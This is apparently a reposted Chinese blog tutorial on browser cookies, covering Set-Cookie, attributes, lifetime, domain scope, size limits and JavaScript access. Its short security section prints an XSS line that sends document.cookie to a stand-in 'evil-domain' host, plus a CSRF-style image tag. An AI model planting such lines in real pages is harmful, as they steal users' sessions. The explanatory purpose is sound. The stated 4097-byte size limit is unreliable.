博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
前端存储 (1) -- Cookie
阅读量:6004 次
发布时间:2019-06-20

本文共 1294 字,大约阅读时间需要 4 分钟。

目录

  • 创建
  • 组成
  • 生命周期
  • 作用域
  • 存储大小

创建Cookie

当服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie选项。

浏览器收到响应后通常会保存下Cookie,
之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。
另外,Cookie的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

服务器使用Set-Cookie响应头部向用户代理(一般是浏览器)发送Cookie信息。一个简单的Cookie可能像这样:

Set-Cookie: 
=
response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);

组成

  • Name
  • Value
  • Domain
  • Path
  • Expires/ Max-Age 过期时间
  • Size
  • Http
  • Secure 是否加密,标记为Secure 只会通过 htpps 协议传输, http 是不能设置的
  • SameSite

组成

生命周期

默认是浏览器关闭就清掉, 一般会设置 指定过期时间(Expires)或者有效期(Max-Age)

需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器从来没有关闭一样。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

作用域

Domain (域名)和 Path 标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。

Cookie 的Domain 属性可以设置 Cookie 发送哪些 url,默认是在当前域名下,但有时候我们可能几个站点想共享Cookie 信息

比方 qq空间(qq.tentxun.com)登陆了,我想点进 qq 邮箱(mail.tenxun.com), 那要是再登陆一次,用户爸爸肯定受不了,所以通过设置
cookie 的 domain 为 ".tenxun.com",从 qq空间点击链接 进入 qq 邮箱, qq邮箱 通过 cookie 信息,获取用户信息,就可以不用再次登陆了

如果设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。

存储大小

4097个字节, 多了浏览器会默默删掉

javascript 访问 Cookie

var cookie = document.cookie; document.cookie = "username=tt";

安全问题

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

<img src=";amount=1000000&for=mallory">

转载地址:http://rnpmx.baihongyu.com/

你可能感兴趣的文章
StringBuffer帮你减轻Java的负担
查看>>
大数据时代“服务为王”
查看>>
导购指南:最新一期机架服务器价格指导
查看>>
这家初创企业专做云安全即服务平台
查看>>
蚂蚁金服漆远谈大数据智能:有95%智能客服
查看>>
《2040大预言:高科技引擎与社会新秩序》——2.3 自我实现预言
查看>>
运用信息化手段建立管理“云平台”
查看>>
抱团发展成云服务厂商共识
查看>>
《高性能科学与工程计算》——3.5 算法分类和访存优化
查看>>
印国有电信企业BSNL致函印度电信部申请700 MHz频谱
查看>>
Cohesity扩大云软件产品组合 目标直指云未来
查看>>
阿里云跨界合作芒果TV 粉丝看明星也用云计算
查看>>
教你一招CRM成功实施的方法!
查看>>
数据中心网络攻击形态漫谈
查看>>
单元测试实施解惑(一)
查看>>
《编写高质量代码:改善c程序代码的125个建议》——建议18-2:整型变量应该直接与0进行比较...
查看>>
灵活的 WEB 下拉组件 TinySelect
查看>>
微软携手红帽拥抱开源,开拓混合云新疆域
查看>>
《CCNP ROUTE 300-101认证考试指南》——8.8节定义关键术语
查看>>
《软件建模与设计: UML、用例、模式和软件体系结构》一一1.1 软件建模
查看>>